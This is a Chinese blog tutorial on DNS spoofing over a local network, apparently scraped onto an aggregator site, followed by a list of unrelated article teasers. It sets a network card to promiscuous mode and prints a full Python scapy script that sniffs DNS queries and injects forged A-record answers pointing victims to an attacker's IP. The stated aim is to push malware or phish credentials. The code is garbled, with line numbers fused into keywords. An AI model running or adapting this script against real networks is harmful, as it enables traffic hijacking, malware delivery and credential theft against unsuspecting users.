python实现局域网攻击_通过python实现DNS欺骗

假设在一个的局域网内有两个人:Bob和Eve。Eve想让Bob访问他创建的恶意网页,这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件,或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。

394879-20160418162602398-938832836.png

(图片来自以上提供的链接)

(本测试环境,均为centos6.5系统环境)

一、设置attacker服务器的网卡模式为混杂模式,这样就可以捕获局域网内的所有数据包:

ifconfig em1 promisc

查看网卡模式:ifconfig em1

394879-20160418163553507-1756441238.png

说明网卡已经是混杂模式

二、编写攻击代码:

打开dns_spoof.py脚本文件:

ContractedBlock.gif

ExpandedBlockStart.gif

1 #!/usr/bin/env python

2 #-*- coding -*-:utf-8

3

4 from scapy.all import *

5 importtime6 importlogging7

8 logger = logging.getLogger('main')9 logging.basicConfig(format='%(levelname)s:%(message)s',level=logging.DEBUG)10 logger.setLevel(logging.DEBUG)11 #Set the interface for scapy to use

12 conf.iface = 'br0'

13 #Set the spoofed response

14 spoofed_ip = '192.168.28.118'

15

16 defsend_response(x):17 #Get the requested domain

18 req_domain =x[DNS].qd.qname19 logger.info('Found request for' +req_domain)20 #First,we delete the existing lengths and checksums..

21 #We will let Scapy re-create them

22 del(x[UDP].len)23 del(x[UDP].chksum)24 del(x[IP].len)25 del(x[IP].chksum)26 #Let`s build our response from a copy of the original packet

27 response =x.copy()28 #we need to start by changing our response to be "from-ds" ,or from the access point.

29 response.FCfield = 2L

30 #Switch the MAC addresses

31 #response.addr1,response.addr2 = x.addr2,x.addr1

32 response.src,response.dst =x.dst,x.src33 #Switch the IP addresses

34 response[IP].src,response[IP].dst =x[IP].dst,x[IP].src35 #Switch the ports

36 response.sport,response.dport =x.dport,x.sport37 #Set the DNS flags

38 response[DNS].qr = 1L

39 response[DNS].ra = 1L

40 response[DNS].ancount = 1

41 #Let`s add on the answer section

42 response[DNS].an =DNSRR(43 rrname =req_domain,44 type = 'A',45 rclass = 'IN',46 ttl = 900,47 rdata =spoofed_ip48 )49 #Now,we inject the response!

50 sendp(response)51 logger.info('Sent response:' + req_domain + '->' + spoofed_ip + '\n')52

53 defmain():54 logger.info('Starting to intercept [CTRL+C to stop]')55 sniff(prn=lambda x: send_response(x),lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)56

57 if __name__ == "__main__":58 #Make it happen!

59 main()

View Code

该脚本将捕获局域网内的DNS的A记录查询

三、演示:(为了方便演示,将本地dns服务器设置为了223.5.5.5)

使用dig @223.5.5.5 www.baidu.com命令测试如下:

394879-20160418164746773-1462322985.png

本文借鉴了http://jordan-wright.com/blog/2013/11/15/wireless-attacks-with-python-part-one-the-airpwn-attack/的方式,脚本直接使用会有问题,做了一下调整,局域网环境实验成功。

译文连接:http://www.oschina.net/translate/wireless-attacks-with-python-part-one-the-airpwn-attack

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/335359.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

查询linux kafka安装目录,Kafka 1.0.0安装和配置--Linux篇

阅读目录:1. 关闭防火墙和Selinux2. 安装所需环境JDK,Zookeeper3. 下载Kafka 1.0.0版本4. 配置Kafka5. 启动Kafka并验证6. 报错及解决7. 说明1. 关闭防火墙和SelinuxLinux的防火墙是咱们新手的噩梦,很多情况会出现能ping通,但是访问不了Web页…

随机数生成java代码_Java Bullshifier –生成大量随机代码库

随机数生成java代码生成大量随机Java应用程序的命令行工具 您一直在等待的命令行工具。 或不。 毕竟,这是很深奥的。 无论哪种方式,它对某些人都非常有用,而对其他人来说却是一个有趣的实用程序。 Bullshifier是David Levanon和Hodaya Gamli…

背景区域为负样本什么意思_词向量-skipgram与负采样

大纲:1. onehot vs 分布式表示2. 分布式表示的全局泛化能力3. how to learn word2vec - intuition4. SkipGram5. SkipGram Negative Sampling6. 评估词向量7. CBOW与SkipGram对比1. onehot vs 分布式表示Onehot表示:V (apple, going, I, home, machine ,learing)ap…

嵌入式linux应用程序实例,嵌入式Linux应用程序访问物理地址的实例

前言  按照Linux分层驱动思想,外设驱动与主机控制器的驱动不相关,主机控制器的驱动不关心外设,而外设驱动也不关心主机,外设访问核心层的通用应用程序接口进行数据传输,主机和外设之间可以进行任意的组合。这样思想要…

生成验证码图片的Java代码

文章目录验证码演示代码请求资源路径为什么要添加一个随机数的参数验证码演示代码 package priv.lwx.javaex.servlet_demo.web.servlet.response;import javax.imageio.ImageIO; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import …

线程同步 线程安全_同步装饰器来替换线程安全类

线程同步 线程安全您知道什么是线程安全吗? 如果没有,下面是一个简单的示例。 所有类都必须是线程安全的,对吗? 并不是的。 其中一些必须是线程安全的? 又错了。 我认为它们都不必是线程安全的,而它们都必须…

python数学要求_python数学工具之积分(1)

加载库Polygon,绘制积分图形。 fig, ax plt.subplots(figsize(7, 5))表示绘图尺寸为7*5;plt.plot(x, y, b, linewidth2)表示绘制蓝色线宽为2的函数图形;plt.ylim(ymin0)表示y轴最小值为0;Ix np.linspace(a, b)表示lx取值范围为[…

linux swap分区与内存,虚拟内存和swap分区的关系

首先,这两个概念分别对应windows和linux,即:windows:虚拟内存linux:swap分区windows即使物理内存没有用完也会去用到虚拟内存,而Linux不一样 Linux只有当物理内存用完的时候才会去动用虚拟内存(即swap分区)…

.net2.0 orm_Java 8:深入研究速度3.0.1“森林”流ORM

.net2.0 orm沿着这条路 我一直在为开源项目Speedment (它是Stream ORM Java工具包和运行时)做出贡献,并且刚刚发布了一个新的主要版本3.0.1“ Forest”。 版本的发布是以加利福尼亚帕洛阿尔托的大街小巷命名,大多数贡献者都在此工…

JavaScript/JS如何给元素对象添加事件

使用普通的 js 代码给元素对象添加事件 绑定事件,添加事件处理程序: var obj document.getElementById("name"); obj.onclick f1; function f1(){ alert("hello!"); }说明:函数名 f1 就是一个引用数据类型的变量&…

forge开发_使用Forge,WildFly Swarm和Arquillian开发微服务

forge开发在这篇文章中,我们将看到如何使用WildFly Swarm和Forge开发微服务,以及如何使用Arquillian和Rest Assured对其进行测试。 WildFly Swarm提供了一种创新的方法来打包和运行Java EE应用程序,方法是将它们与足够的服务器运行时一起打包…

zynq+linux固化程序,如何在 Zynq UltraScale+ MPSoC 上实现 Linux UIO 设计

原标题:如何在 Zynq UltraScale MPSoC 上实现 Linux UIO 设计简介作者: Alex He (何晔), 赛灵思高级嵌入式应用工程师这里的 UIO 即 Userspace I/O,本文中 UIO 泛指 UIO 设备和 UIO 驱动。它在 Linux kernel 的世界里比较小众&…

python初学者代码示例_Selenium 快速入门笔记和代码示例(Python版)

链接 文档链接: 安装 selenium 模块和 Chrome 浏览器驱动 步骤: 安装 Selenium 模块: pip install selenium 下载浏览器驱动(下载即可,无需安装,使用时要指定它的路径):请参考 https…

用例描述

用例名称:简要说明/描述, 优先级: 参与者: 事件流:就是用例执行时,由一序列活动组成的控制流。 基本事件流:对用例中常规、预期路径的描述。 扩展事件流:主要是对一些异常情况、选…

thinkpad笔记本散热风扇_极致的散热体验,ORICO 全铝DIY双风扇笔记本散热垫评测...

电脑的出现,极大的改变了人类的生活。娱乐、办公、游戏、电子竞技等等都需要用到电脑。而电脑也慢慢的在升级着。电脑的体积也由最开始的的占据几间屋子的庞大体积,到后来的台式机、台式一体机、电脑的体积慢慢的变的越来越小。而便携式笔记本电脑的出现…

清除java_如何在Java地毯下有效地清除问题

清除java因为软件错误可能使我们在开发人员面前看起来很糟糕,并导致其他人对我们的想法减少,所以最好避免编写错误,快速识别和修复错误或掩盖我们的错误。 有许多博客文章和文章讨论如何避免错误以及如何识别和修复错误,因此&…

Web产品的交互说明文档应该怎么写?

经常与开发同学聊天,他们说有一个详细的说明文档可以帮助他们更准确的进行工时评估,还可以帮助他们提高工作效率,减少多余的思考时间。因此在这里分享一些制作交互说明文档的经验。 我先说说说交互原型包含哪些部分? 版本说明及更…

linux类似360软件,linux下有什么类似鲁大师查看电脑配置的软

满意答案drqyna2017.05.26采纳率:40% 等级:11已帮助:5455人linux如何查看系统的硬件配置如何在linux系统下查看系统配置?在图形模式下我们可以很方便的利用Linux的图形工具,点击几下就可以查看到Linux系统的的硬件信…

java 编写代码_如果您在2016年编写过Java代码-这是您不容错过的趋势

java 编写代码2016年最有趣的Java相关主题 关于代码,有很多热门话题,而要跟上所有事情,这是一项全职的工作。 如果您想知道如何从谷壳中分离出小麦,我们已经为您完成了工作。 在下面的文章中,我们将介绍2016年最热门…

thinkphp json_原创干货 | Thinkphp序列化合总

听说转发文章会给你带来好运最近Thinkphp几个版本都出了反序列化利用链,这里集结在一起,下面是复现文章,poc会放在最后01Thinkphp5.1.37环境搭建composercreate-project topthink/think5.1.37 v5.1.37poc演示截图调用链单步调试漏洞起点在\th…